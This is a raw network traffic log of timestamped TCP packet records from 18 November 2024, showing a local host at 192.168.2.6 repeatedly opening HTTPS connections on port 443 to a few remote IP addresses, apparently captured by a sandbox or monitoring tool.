Nov 18, 2024 05:57:37.154865980 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.154897928 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.241024017 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.241535902 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.241619110 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.241902113 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.241916895 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.243335009 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.243386984 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.243434906 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.243452072 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.243491888 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.243587017 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.243604898 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.243616104 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.243621111 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.245989084 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.246030092 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.246112108 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.246241093 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.246251106 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.255371094 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.255655050 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.255677938 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.255986929 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.255991936 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.371728897 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.371794939 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.372013092 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.372092009 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.372092009 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.372153044 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.372179031 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.374751091 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.374847889 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.374943018 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.375068903 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.375104904 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.384367943 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.384401083 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.384440899 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.384454012 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.384465933 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.384614944 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.384614944 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.384634972 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.384649992 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.386769056 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.386806011 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.386866093 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.387012005 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.387023926 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.474817038 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.475203991 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.475271940 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.475636005 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.475649118 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.606107950 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.606179953 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.606226921 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.606381893 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.606411934 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.606429100 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.606436014 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.608963013 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.609052896 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.609126091 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.609252930 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.609287977 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.674525023 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.674609900 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:37.675700903 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:37.675709963 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.676109076 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.676913977 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:37.719371080 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.855555058 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.855781078 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:37.855814934 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.855824947 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:37.856144905 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.856226921 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.856273890 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:37.875768900 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.876164913 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.876209021 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.876564026 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.876573086 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.980931044 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.981317997 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.981336117 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.981741905 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.981745005 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.003552914 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.003582001 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.003627062 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.003632069 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.003664970 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.003782034 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.003806114 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.003824949 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.003832102 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.006031990 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.006066084 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.006146908 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.006289005 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.006305933 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.110323906 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.110456944 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.110527992 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.110656023 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.110672951 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.110685110 CET	60364	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.110691071 CET	443	60364	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.112777948 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.112824917 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.112924099 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.113030910 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.113043070 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.114833117 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.115180016 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.115212917 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.115560055 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.115571022 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.119801044 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.120127916 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.120155096 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.120490074 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.120495081 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.244810104 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.244839907 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.244888067 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.244939089 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.245017052 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.245214939 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.245266914 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.245301008 CET	60365	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.245316029 CET	443	60365	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.248060942 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.248116016 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.248194933 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.248301029 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.248374939 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.248424053 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.248437881 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.248451948 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.248473883 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.248490095 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.248502016 CET	60366	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.248506069 CET	443	60366	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.250520945 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.250560045 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.250631094 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.250765085 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.250778913 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.324868917 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.325299978 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.325323105 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.325721979 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.325726032 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.453721046 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.453973055 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.454042912 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.454128027 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.454128027 CET	60367	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.454174042 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.454200983 CET	443	60367	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.456351995 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.456413984 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.456501961 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.456625938 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.456655025 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.736598969 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.737035990 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.737116098 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.737457037 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.737471104 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.837116003 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.837538004 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.837553024 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.837963104 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.837966919 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.865329981 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.865392923 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.865444899 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.865551949 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.865592003 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.865622044 CET	60368	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.865637064 CET	443	60368	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.868416071 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.868454933 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.868508101 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.868652105 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.868665934 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.928139925 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:38.928165913 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:38.928220987 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:38.928658009 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:38.928669930 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:38.966803074 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.966823101 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.966860056 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.966876984 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.966907978 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.967051983 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.967066050 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.967083931 CET	60369	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.967089891 CET	443	60369	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.969383001 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.969412088 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.969486952 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.969602108 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.969613075 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.991439104 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.991868019 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.991897106 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.992367029 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.992382050 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.993231058 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.993895054 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.993916988 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:38.994334936 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:38.994339943 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.123581886 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.127559900 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.127633095 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.127676964 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.127676964 CET	60370	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.127697945 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.127713919 CET	443	60370	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.130422115 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.130439043 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.130503893 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.130639076 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.130649090 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.132646084 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.132687092 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.132739067 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.132744074 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.132782936 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.132890940 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.132910013 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.132920980 CET	60371	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.132925987 CET	443	60371	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.135804892 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.135826111 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.135938883 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.136022091 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.136033058 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.189112902 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.189552069 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.189610958 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.189981937 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.189994097 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.317650080 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.317724943 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.317822933 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.318017960 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.318018913 CET	60372	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.318054914 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.318078041 CET	443	60372	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.320689917 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.320719957 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.320818901 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.320944071 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.320954084 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.597564936 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.598012924 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.598048925 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.598407030 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.598413944 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.705885887 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.706418037 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.706425905 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.707040071 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.707043886 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.737463951 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.737529993 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.737680912 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.737891912 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.737905025 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.737945080 CET	60373	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.737948895 CET	443	60373	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.741086960 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.741113901 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.741178989 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.741302013 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.741311073 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.838407993 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.838521004 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.838639975 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.838803053 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.838812113 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.838820934 CET	60375	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.838824987 CET	443	60375	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.841756105 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.841845989 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.841939926 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.842111111 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.842144012 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.865190983 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.865757942 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.865773916 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.866169930 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.866174936 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.867973089 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.868320942 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.868330002 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.868680000 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.868685007 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.993566990 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.993599892 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.993640900 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.993863106 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.994010925 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.994020939 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.994041920 CET	60376	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.994045973 CET	443	60376	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.995286942 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.995496988 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.995579958 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.995759010 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.995771885 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.995779991 CET	60377	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.995784044 CET	443	60377	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.996901035 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.996970892 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.997078896 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.997277975 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.997314930 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.997989893 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.998056889 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:39.998143911 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.998281002 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:39.998315096 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.001405954 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.001501083 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.003034115 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.003038883 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.003243923 CET	443	60374	4.245.163.56	192.168.2.6
